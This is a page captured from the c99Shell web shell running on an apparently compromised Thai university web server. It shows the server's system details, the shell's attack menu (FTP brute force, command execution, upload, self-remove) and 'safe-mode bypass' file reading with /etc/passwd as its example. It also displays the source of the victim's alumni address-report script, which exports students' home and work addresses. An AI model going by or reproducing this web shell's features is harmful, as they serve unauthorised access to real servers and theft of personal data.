!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/ealumni/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_report002.php (5.77 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
ini_set
("memory_limit""128M");
header('Content-type: application/xls');
header('Content-Disposition: attachment; filename="testing.xls"');

$row_cfg = (isset($qu_cfg) && $qu_cfg!=NULL) ? $qu_cfg->row() : NULL;
$row_pa = (isset($qu_pa) && $qu_pa!=NULL) ? $qu_pa->row() : NULL;
?>
<table width="100%">
    <tr>
        <td><img src="<?php echo base_url().$this->config->item('ea_cfglogo');?>" width="111" height="95" align="absmiddle" border="0"></td>
        <td><font size="3"><b><?php echo setValue('cfgName',$row_cfg)."<br />".$this->config->item('ea_system');?></b></font></td>
        <td align="right" valign="top"><font size="3"><b>EAIS002</b></font></td>
    </tr>
    <tr valign="top">
        <td align="center" colspan="3"><hr color="#000000" noshade><br></td>
    </tr>
    <tr>
        <td colspan="3" align="center"><font size="3"><b>รายงานที่อยู่ศิษย์เก่า แยกตามหลักสูตร</b></font></td>
    </tr>
    <tr>
        <td colspan="3" align="center"><font size="3"><b>หลักสูตร </b><?php echo setValue('programalumniName',$row_pa)=="" "-" setValue('programalumniName',$row_pa);?> <b>ปีการศึกษาที่จบ </b><?php echo ($graduateY==0) ? "-" $graduateY;?></font></td>
    </tr>
    <tr>
        <td colspan="3"><br /></td>
    </tr>
    <tr>
        <td colspan="3"><table class="excelCol" border="1">
            <tr>
                <th class="seqCol">ลำดับที่</th>
                <th class="stdCodeCol">รหัสนักศึกษา</th>
                <th>ชื่อ - สกุลศิษย์เก่า</th>
<?php
                set_time_limit
(0);
                
                
$fieldNames_settings = array(
                array (
'homeAddr''ที่อยู่ศิษย์เก่า (ตามภูมิลำเนา)',5),
                array (
'currentAddr','ที่อยู่ศิษย์เก่า (ปัจจุบัน)',5),
                array (
'workAddr','ที่อยู่ที่ทำงานของศิษย์เก่า',5));

        
$k=0;
        if(isset(
$arr) && count($arr)) {
            foreach(
$arr as $key => $val) {
                if(
$val) {
?>
                <th colspan="<?php echo $fieldNames_settings[$k][2];?>" align="center"><?php echo $fieldNames_settings[$k][1];?></th>
<?php
                
}

                
$k++;
            }
        }
?>
            </tr>
<?php
    $i 
0;
    if(isset(
$rs_am) && $rs_am->num_rows()) {
        foreach(
$rs_am->result() as $row_am) {
            echo 
"<tr onmouseover=\"bgColor='".$this->config->item('tr_c_even')."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                <td align="center"><?php echo $i+1;?></td>
                <td align="center"><?php echo $row_am->studentCode;?></td>
                <td class="indent"><?php echo $row_am->prefixName.$row_am->studentName.' '.$row_am->studentSurname;?></td>
<?php
            $cnt 
0;
            if(isset(
$arr) && count($arr)) {
                foreach(
$arr as $key => $val) {
                    if(
$val) {
                        switch(
$val){
                            case 
'homeAddr' :
                                
$con_qu_homeAddr = array('homeDistrictId'    => $row_am->homeDistrictId,
                                                         
'homeAmphurId'        => $row_am->homeAmphurId,
                                                         
'homeProvinceId'    => $row_am->homeProvinceId);
                                
$qu_homeAddr $ab->qryHomeAddr($con_qu_homeAddr);
?>
                <td><font size="2"><?php echo $qu_homeAddr->row()->homeAddress;?></font></td>
                <td><font size="2"><?php echo $qu_homeAddr->row()->dtNameHome;?></font></td>
                <td><font size="2"><?php echo $qu_homeAddr->row()->apNameHome;?></font></td>
                <td><font size="2"><?php echo $qu_homeAddr->row()->prvNameHome;?></font></td>
                <td><font size="2"><?php echo $qu_homeAddr->row()->homeZipcode;?></font></td>
<?php
                                $str 
"";
                                break;

                            case 
'currentAddr' :
                                
$con_qu_curAddr = array('currentDistrictId'    => $row_am->currentDistrictId,
                                                        
'currentAmphurId'    => $row_am->currentAmphurId,
                                                        
'currentProvinceId'    => $row_am->currentProvinceId);
                                
$qu_curAddr $ab->qryCurAddr($con_qu_curAddr);
?>
                <td><font size="2"><?php echo $qu_curAddr->row()->currentAddress;?></font></td>
                <td><font size="2"><?php echo $qu_curAddr->row()->dtNameCur;?></font></td>
                <td><font size="2"><?php echo $qu_curAddr->row()->apNameCur;?></font></td>
                <td><font size="2"><?php echo $qu_curAddr->row()->prvNameCur;?></font></td>
                <td><font size="2"><?php echo $qu_curAddr->row()->currentZipcode;?></font></td>
<?php
                                $str 
"";
                                break;

                            case 
'workAddr' :
                                
$con_qu_workAddr = array('officeDistrictId'    => $row_am->officeDistrictId,
                                                         
'officeAmphurId'    => $row_am->officeAmphurId,
                                                         
'officeProvinceId'    => $row_am->officeProvinceId);
                                
$qu_workAddr $ab->qryWorkAddr($con_qu_workAddr);
?>
                <td><font size="2"><?php echo $qu_workAddr->row()->officeAddress;?></font></td>
                <td><font size="2"><?php echo $qu_workAddr->row()->dtNameWork;?></font></td>
                <td><font size="2"><?php echo $qu_workAddr->row()->apNameWork;?></font></td>
                <td><font size="2"><?php echo $qu_workAddr->row()->prvNameWork;?></font></td>
                <td><font size="2"><?php echo $qu_workAddr->row()->officeZipcode;?></font></td>
<?php
                                $str 
"";
                                break;
                        }
                    }
                }

            
$i++;
            }
?>
            </tr>
<?php        
        
}
    } else {
        
$cnt 3;
        if(isset(
$arr)) {
            foreach(
$arr as $key => $val) {
                if(
$val!="") {
                    
$cnt $cnt+5;
                }
            }
        }
?>
            <tr>
                <td colspan="<?php echo $cnt;?>" align="center">** ไม่ปรากฏรายการในฐานข้อมูล **</td>
            </tr>
<?php
    
}
    
set_time_limit(30);
?>
        </table></td>
    </tr>
    <tr valign="bottom">
        <td align="center" colspan="3" height="88"><hr color="#000000" noshade></td>
    </tr>
    <tr valign="top">
        <td colspan="2"><font size="2">วันที่พิมพ์ : <?php echo date('d-m-y h:m');?></font></td>
        <td align="right"><font size="2">หน้า 1/1</font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0121 ]--